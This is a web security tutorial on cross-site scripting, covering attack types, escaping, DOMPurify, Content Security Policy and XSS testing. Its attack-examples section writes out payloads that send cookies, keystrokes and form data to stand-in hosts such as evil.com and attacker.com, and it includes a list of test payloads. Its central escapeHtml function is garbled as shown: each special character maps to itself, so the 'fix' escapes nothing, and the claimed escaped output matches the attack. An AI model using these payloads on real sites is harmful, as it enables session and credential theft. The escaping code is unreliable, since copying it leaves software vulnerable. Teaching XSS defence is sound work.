XSS Attacks Explained: How to Prevent Cross-Site Scripting
TL;DR
XSS happens when user input is rendered as HTML/JavaScript. Escape all output. Use textContent not innerHTML. Sanitize HTML with DOMPurify. Enable Content Security Policy. React/Vue escape by default - don't use dangerouslySetInnerHTML.
A user posted a comment on our forum: <img src=x onerror=alert(document.cookie)>. When anyone viewed that thread, their session cookie was sent to an attacker's server. 2,400 accounts were hijacked in 30 minutes before we caught it.
The vulnerability? We were rendering user comments with innerHTML. One line of code: commentDiv.innerHTML = userComment. No sanitization, no escaping. Classic stored XSS.
Cross-Site Scripting (XSS) is the second most common web vulnerability after SQL injection. It's on every OWASP Top 10 list. Here's how XSS works, the different types, and how to prevent it completely.
What Is XSS (Cross-Site Scripting)?
XSS is when an attacker injects malicious JavaScript into your site that executes in other users' browsers.
// Vulnerable code
app.get('/search', (req, res) => {
const searchTerm = req.query.q;
res.send(`
<h1>Search Results</h1>
<p>You searched for: ${searchTerm}</p>
`);
});
// Normal request:
// GET /search?q=javascript
// Output: <p>You searched for: javascript</p>
// XSS attack:
// GET /search?q=<script>alert('XSS')</script>
// Output: <p>You searched for: <script>alert('XSS')</script></p>
// JavaScript executes in user's browser!
The attacker controls JavaScript execution. They can:
- Steal session cookies
- Hijack user accounts
- Redirect to phishing sites
- Steal form data (passwords, credit cards)
- Modify page content
- Install keyloggers
Types of XSS Attacks
1. Reflected XSS (Non-Persistent)
Malicious script is in the URL, reflected back immediately:
// Vulnerable search page
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Results for "${query}"</h1>`);
});
// Attack URL:
// /search?q=<script>fetch('https://evil.com?cookie='+document.cookie)</script>
// When victim clicks link, their cookies are stolen
Attack vector: Phishing emails with malicious links
2. Stored XSS (Persistent)
Malicious script is saved to database, executed for all users:
// Vulnerable comment system
app.post('/comment', async (req, res) => {
const comment = req.body.comment;
// Store without sanitization
await db.query(
'INSERT INTO comments (text) VALUES ($1)',
[comment]
);
});
app.get('/comments', async (req, res) => {
const comments = await db.query('SELECT * FROM comments');
let html = '<div class="comments">';
comments.forEach(comment => {
html += `<div>${comment.text}</div>`; // XSS!
});
html += '</div>';
res.send(html);
});
// Attacker posts:
// <img src=x onerror="fetch('https://evil.com?cookie='+document.cookie)">
// Every user who views comments has their cookies stolen
Most dangerous - affects all users, persists in database
3. DOM-Based XSS
JavaScript in the page directly manipulates the DOM with user input:
<!-- Vulnerable client-side code -->
<script>
const searchTerm = new URLSearchParams(window.location.search).get('q');
document.getElementById('result').innerHTML = 'You searched for: ' + searchTerm;
</script>
<!-- Attack URL: -->
<!-- /search?q=<img src=x onerror=alert(document.cookie)> -->
Attack happens entirely client-side - server never sees the payload
Real XSS Attack Examples
Cookie Theft
// Attack payload
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: document.cookie
});
</script>
// Or shorter:
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
Session Hijacking
// Steal session and redirect
<script>
fetch('https://attacker.com/steal?session=' + document.cookie)
.then(() => window.location = 'https://phishing-site.com');
</script>
Keylogger
// Log all keystrokes
<script>
document.addEventListener('keypress', e => {
fetch('https://attacker.com/log?key=' + e.key);
});
</script>
Form Hijacking
// Steal login credentials
<script>
document.querySelector('form').addEventListener('submit', e => {
e.preventDefault();
const formData = new FormData(e.target);
fetch('https://attacker.com/steal', {
method: 'POST',
body: formData
});
e.target.submit(); // Then submit normally
});
</script>
Defacement
// Change page content
<script>
document.body.innerHTML = '<h1>HACKED</h1>';
</script>
Crypto Mining
// Mine cryptocurrency using visitor's CPU
<script src="https://evil.com/cryptominer.js"></script>
Prevention: Output Escaping
The #1 defense: escape all user input when rendering HTML.
HTML Escaping
Convert special characters to HTML entities:
// Escape function
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, char => map[char]);
}
// Usage
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for "${query}"</h1>`);
});
// Attack: <script>alert('XSS')</script>
// Output: <script>alert('XSS')</script>
// Rendered as text, not executed
Template Engines (Auto-Escaping)
Most modern template engines escape by default:
// Express with EJS (auto-escapes)
app.set('view engine', 'ejs');
app.get('/search', (req, res) => {
res.render('search', { query: req.query.q });
});
<!-- search.ejs -->
<h1>Results for "<%= query %>"</h1>
<!-- <%= automatically escapes -->
<!-- To render unescaped (dangerous): -->
<div><%- query %></div>
<!-- DON'T USE <%- unless you sanitize first -->
Handlebars:
<h1>Results for "{{query}}"</h1>
<!-- {{ automatically escapes -->
<!-- Unescaped (dangerous): -->
<div>{{{query}}}</div>
<!-- DON'T USE {{{ unless sanitized -->
Pug:
h1 Results for "#{query}"
// # automatically escapes
// Unescaped (dangerous):
div!= query
// DON'T USE != unless sanitized
React (Safe by Default)
// SAFE - React escapes by default
function SearchResults({ query }) {
return (
<div>
<h1>Results for "{query}"</h1>
<p>{query}</p>
</div>
);
}
// Attack: <script>alert('XSS')</script>
// Rendered as text, not executed
// DANGEROUS - Don't use dangerouslySetInnerHTML
function Comment({ text }) {
return <div dangerouslySetInnerHTML={{ __html: text }} />;
// XSS vulnerability!
}
Vue (Safe by Default)
<template>
<div>
<!-- SAFE - Vue escapes by default -->
<h1>Results for "{{ query }}"</h1>
<p>{{ userComment }}</p>
<!-- DANGEROUS - v-html is vulnerable -->
<div v-html="userComment"></div>
</div>
</template>
Angular (Safe by Default)
@Component({
template: `
<!-- SAFE - Angular escapes by default -->
<h1>Results for "{{ query }}"</h1>
<!-- DANGEROUS - bypass sanitization -->
<div [innerHTML]="sanitizer.bypassSecurityTrustHtml(userInput)"></div>
`
})
Sanitizing HTML (When You Need Rich Text)
If you must allow HTML (comments, blog posts), sanitize it:
DOMPurify (Best Option)
import DOMPurify from 'dompurify';
// Sanitize HTML
const dirty = req.body.comment;
const clean = DOMPurify.sanitize(dirty);
// Save to database
await db.query('INSERT INTO comments (text) VALUES ($1)', [clean]);
// Render safely
res.send(`<div>${clean}</div>`);
// Example
const dirty = '<img src=x onerror=alert(1)> <b>Hello</b>';
const clean = DOMPurify.sanitize(dirty);
console.log(clean);
// Output: <img src="x"> <b>Hello</b>
// Removed onerror attribute, kept safe HTML
What DOMPurify removes:
<script>tags- Event handlers (
onclick,onerror, etc.) javascript:URLs- Data URLs with scripts
- Other dangerous attributes
What it keeps:
- Safe tags (
<b>,<i>,<p>,<a>, etc.) - Safe attributes (
href,srcwith http/https) - Text content
Client-Side Sanitization
// In browser
import DOMPurify from 'dompurify';
const dirty = userInput;
const clean = DOMPurify.sanitize(dirty);
// Safe to render
document.getElementById('content').innerHTML = clean;
Custom Sanitization (Not Recommended)
// Simple but incomplete sanitization
function sanitizeHtml(html) {
return html
.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '')
.replace(/on\w+="[^"]*"/g, '')
.replace(/on\w+='[^']*'/g, '');
}
// DON'T use this - easy to bypass
// Use DOMPurify instead
Using textContent Instead of innerHTML
// BAD - innerHTML interprets HTML
element.innerHTML = userInput;
// GOOD - textContent renders as text
element.textContent = userInput;
// Example
const userInput = '<img src=x onerror=alert(1)>';
// innerHTML (vulnerable):
div.innerHTML = userInput;
// Renders: [broken image icon] and alert fires
// textContent (safe):
div.textContent = userInput;
// Renders: <img src=x onerror=alert(1)> (as text)
Always use textContent for user input unless you specifically need HTML
Content Security Policy (CSP)
CSP is an HTTP header that tells browsers what JavaScript is allowed to execute:
// Express middleware
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' https://cdn.example.com; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:;"
);
next();
});
What this does:
default-src 'self': Only load resources from same originscript-src 'self' https://cdn.example.com: JavaScript only from your domain and CDNstyle-src 'self' 'unsafe-inline': CSS from your domain, allow inline stylesimg-src 'self' data: https:: Images from your domain, data URLs, and HTTPS
Blocks:
- Inline
<script>tags (including XSS) eval()and similar dangerous functions- Scripts from untrusted domains
Strict CSP (Most Secure)
// Use nonces for inline scripts
const crypto = require('crypto');
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString('base64');
res.setHeader(
'Content-Security-Policy',
`script-src 'nonce-${res.locals.nonce}' 'strict-dynamic'`
);
next();
});
<!-- Only scripts with matching nonce execute -->
<script nonce="<%= nonce %>">
console.log('This runs');
</script>
<script>
console.log('This is blocked');
</script>
<!-- XSS injections have no nonce, so they're blocked -->
CSP Reporting
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
"report-uri https://your-domain.com/csp-report"
);
// Log CSP violations
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});
Framework-Specific Protection
Express.js
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.example.com"]
}
}));
// Escape output
const escapeHtml = require('escape-html');
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for "${query}"</h1>`);
});
Django
# Django templates auto-escape by default
# views.py
def search(request):
query = request.GET.get('q', '')
return render(request, 'search.html', {'query': query})
# search.html
<h1>Results for "{{ query }}"</h1>
<!-- Automatically escaped -->
# To render unescaped (dangerous):
{{ query|safe }}
<!-- DON'T USE |safe unless sanitized with bleach -->
# Sanitize HTML
import bleach
clean = bleach.clean(
user_input,
tags=['b', 'i', 'u', 'a', 'p'],
attributes={'a': ['href']},
strip=True
)
Ruby on Rails
# ERB templates auto-escape by default
<h1>Results for "<%= @query %>"</h1>
<!-- Automatically escaped -->
# To render unescaped (dangerous):
<%= raw(@query) %>
<!-- DON'T USE raw unless sanitized -->
# Sanitize HTML
sanitized = sanitize(user_input, tags: %w(b i u a p), attributes: %w(href))
PHP
// Escape output
<?php
$query = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "<h1>Results for \"$query\"</h1>";
?>
// Sanitize HTML
$clean = strip_tags($user_input, '<b><i><u><a><p>');
Common Mistakes
Mistake 1: Escaping Only in Some Places
// BAD - Only escaping one output
app.get('/profile', (req, res) => {
const username = escapeHtml(req.query.username);
const bio = req.query.bio; // Not escaped!
res.send(`
<h1>${username}</h1>
<p>${bio}</p>
`);
});
// GOOD - Escape everything
app.get('/profile', (req, res) => {
const username = escapeHtml(req.query.username);
const bio = escapeHtml(req.query.bio);
res.send(`
<h1>${username}</h1>
<p>${bio}</p>
`);
});
Mistake 2: Client-Side Sanitization Only
// BAD - Only sanitizing on frontend
// Frontend:
const sanitized = DOMPurify.sanitize(userInput);
fetch('/api/comment', {
method: 'POST',
body: JSON.stringify({ comment: sanitized })
});
// Backend stores unsanitized!
// Attacker bypasses frontend, sends malicious payload directly
Always sanitize on the server.
Mistake 3: Trusting Data from Database
// BAD - Assuming database data is safe
const user = await db.query('SELECT bio FROM users WHERE id = $1', [userId]);
// Rendering without escaping
res.send(`<div>${user.bio}</div>`); // XSS if bio contains script
// GOOD - Escape everything, even from database
res.send(`<div>${escapeHtml(user.bio)}</div>`);
Mistake 4: Blacklist Filtering
// BAD - Blacklist approach (incomplete)
function sanitize(input) {
return input
.replace(/<script>/gi, '')
.replace(/onerror=/gi, '');
}
// Easy to bypass:
// <scr<script>ipt>
// onerror ="..."
// <img src=x onerror=alert(1)>
// GOOD - Whitelist approach
// Use DOMPurify or escape everything
Mistake 5: Incomplete Escaping
// BAD - Only escaping <
function escapeHtml(text) {
return text.replace(/</g, '<');
}
// Still vulnerable to attribute injection:
// <input value="user input">
// Attack: " onclick="alert(1)
// Result: <input value="" onclick="alert(1)">
// GOOD - Escape all special characters
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, char => map[char]);
}
Mistake 6: Using eval() or new Function()
// BAD - Never use eval with user input
const userCode = req.query.code;
eval(userCode); // Arbitrary code execution!
// BAD - new Function is eval in disguise
const fn = new Function('user', userCode);
fn(user);
// GOOD - Don't execute user input as code
// If you absolutely need dynamic code, use a sandboxed environment
Testing for XSS
Manual Testing
<!-- Test payloads -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<input onfocus=alert('XSS') autofocus>
<select onfocus=alert('XSS') autofocus>
<textarea onfocus=alert('XSS') autofocus>
<body onload=alert('XSS')>
<marquee onstart=alert('XSS')>
<details open ontoggle=alert('XSS')>
<!-- Attribute injection -->
" onclick="alert('XSS')
' onclick='alert('XSS')
<!-- URL encoding -->
%3Cscript%3Ealert('XSS')%3C/script%3E
<!-- HTML entities -->
<script>alert('XSS')</script>
Automated Testing
// XSS Scanner
const xssPayloads = [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
'" onclick="alert(1)',
"' onclick='alert(1)"
];
describe('XSS Protection', () => {
xssPayloads.forEach(payload => {
it(`should escape XSS: ${payload}`, async () => {
const response = await request(app)
.get(`/search?q=${encodeURIComponent(payload)}`);
// Should not contain unescaped payload
expect(response.text).not.toContain(payload);
// Should be escaped
expect(response.text).toContain('<');
});
});
});
Browser DevTools
// Check for XSS vulnerabilities in browser console
document.querySelectorAll('*').forEach(el => {
['innerHTML', 'outerHTML'].forEach(prop => {
const original = el[prop];
Object.defineProperty(el, prop, {
set(value) {
if (/<script|onerror|onclick/i.test(value)) {
console.warn('Potential XSS:', el, value);
}
return original;
}
});
});
});
HttpOnly and Secure Cookies
Prevent JavaScript access to cookies:
// Set HttpOnly flag on session cookies
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true, // Prevent JavaScript access
secure: true, // HTTPS only
sameSite: 'strict' // CSRF protection
}
}));
// Even if XSS happens, attacker can't steal cookies
// Check if cookie is HttpOnly
document.cookie; // Won't show HttpOnly cookies
Real-World Impact
XSS attacks are serious:
Notable breaches:
- Samy worm (2005): 1 million MySpace profiles infected in 24 hours
- British Airways (2018): 380,000 payment cards stolen via XSS
- eBay (2014): Stored XSS allowed account takeover
What attackers steal:
- Session cookies (account hijacking)
- Login credentials (keylogging)
- Credit card numbers (form hijacking)
- Personal information (PII)
- Cryptocurrency wallets
Impact:
- Account takeovers
- Data breaches
- Financial fraud
- Reputation damage
- Regulatory fines (GDPR, etc.)
Security Checklist
- [ ] Escape all user input when rendering HTML
- [ ] Use textContent instead of innerHTML
- [ ] Enable Content Security Policy (CSP)
- [ ] Use framework auto-escaping (React, Vue, template engines)
- [ ] Sanitize HTML with DOMPurify if rich text needed
- [ ] Never use dangerouslySetInnerHTML without sanitization
- [ ] Set HttpOnly flag on cookies
- [ ] Validate and sanitize on server, not just client
- [ ] Test with XSS payloads before deploying
- [ ] Use helmet.js or equivalent for security headers
- [ ] Escape data from database (don't trust any data)
- [ ] Never use eval() or new Function() with user input
The Bottom Line
XSS is completely preventable. Yet it's still one of the most common vulnerabilities because developers forget to escape output or use innerHTML carelessly.
Escape all output. Use textContent, not innerHTML. Let React/Vue/template engines auto-escape.
Sanitize HTML with DOMPurify if you need rich text. Never trust user input, even from your own database.
Enable Content Security Policy to block inline scripts and untrusted sources.
Set HttpOnly cookies so even if XSS happens, attackers can't steal sessions.
We had 2,400 accounts hijacked because we used innerHTML with user comments. The fix took 5 minutes: change innerHTML to textContent. The incident cost us weeks of remediation and lost user trust.
Review your codebase today. Search for innerHTML, dangerouslySetInnerHTML, and template raw output. Escape everything. Test with XSS payloads. Protect your users.